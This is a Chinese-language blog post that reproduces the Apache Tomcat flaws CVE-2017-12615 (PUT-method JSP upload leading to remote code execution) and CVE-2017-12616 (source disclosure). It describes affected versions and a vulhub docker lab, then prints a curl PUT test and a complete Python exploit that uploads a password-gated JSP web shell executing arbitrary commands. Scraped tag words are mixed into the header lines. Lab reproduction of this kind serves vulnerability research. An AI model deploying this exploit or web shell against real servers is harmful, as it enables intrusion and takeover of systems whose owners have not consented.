CVE-2017-12615漏洞复现附EXP

CVE-2017-12615复现

0x00 漏洞介绍

漏洞编号:java

CVE-2017-12615python

CVE-2017-12616linux

漏洞名称:git

CVE-2017-12615-远程代码执行漏洞github

CVE-2017-12616-信息泄露漏洞web

官方评级:docker

高危shell

漏洞描述:tomcat

CVE-2017-12616:信息泄露漏洞安全

当Tomcat中启用了 VirtualDirContext时,攻击者将能经过发送精心构造的恶意请求,绕过设置的相关安全限制,或是获取到由VirtualDirContext提供支持资源服务的JSP源代码,从而形成代码信息泄露。

CVE-2017-12615:远程代码执行漏洞

当 Tomcat运行在Windows操做系统时,且启用了HTTP PUT请求方法(例如,将 readonly 初始化参数由默认值设置为 false),攻击者将有可能可经过精心构造的攻击请求数据包向服务器上传包含任意代码的 JSP 文件,JSP文件中的恶意代码将能被服务器执行。致使服务器上的数据泄露或获取服务器权限。

经过以上两个漏洞可在用户服务器上执行任意代码,从而致使数据泄露或获取服务器权限,存在高安全风险。

漏洞利用条件和方式:

CVE-2017-12615漏洞利用须要在Windows环境,且须要将 readonly 初始化参数由默认值设置为 false,通过实际测试,Tomcat 7.x版本内web.xml配置文件内默认配置无readonly参数,须要手工添加,默认配置条件下不受此漏洞影响。
CVE-2017-12616漏洞须要在server.xml文件配置VirtualDirContext参数,通过实际测试,Tomcat 7.x版本内默认配置无VirtualDirContext参数,须要手工添加,默认配置条件下不受此漏洞影响。
漏洞影响范围:

CVE-2017-12616影响范围:Apache Tomcat 7.0.0 - 7.0.80
CVE-2017-12615影响范围: Apache Tomcat 7.0.0 - 7.0.79

0x01 环境搭建

使用docker搭建漏洞环境

github地址:
https://github.com/vulhub/vulhub/tree/master/tomcat/CVE-2017-12615

0x02 漏洞验证

这里我直接搭建在本地80端口上,linux系统下使用curl直接验证漏洞。

执行命令
curl -XPUT 127.0.0.1/2.jsp/ --data "test"

漏洞验证脚本

import requests
import sys
import time

'''
Usage:
    python CVE-2017-12615.py http://127.0.0.1

    shell: http://127.0.0.1/201712615.jsp?pwd=fff&cmd=whoami


'''

def attack(url):
    user_agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
    headers={"User-Agent":user_agent}
    data="""<%
    if("fff".equals(request.getParameter("pwd"))){
        java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
        int a = -1;
        byte[] b = new byte[2048];
        out.print("<pre>");
        while((a=in.read(b))!=-1){
            out.println(new String(b));
        }
        out.print("</pre>");
    }
%>"""
    try:
        requests.put(url, headers=headers, data=data)

        time.sleep(2)

        verify_response = requests.get(url[:-1], headers=headers)

        if verify_response.status_code == 200:
            print 'success!'
        else :
            print verify_response.status_code

    except :
        "error"

if __name__ == '__main__':
    target_url = sys.argv[1] + '/201712615.jsp/'

    attack(target_url)
    print 'shell: ' + target_url[:-1]
相关文章
相关标签/搜索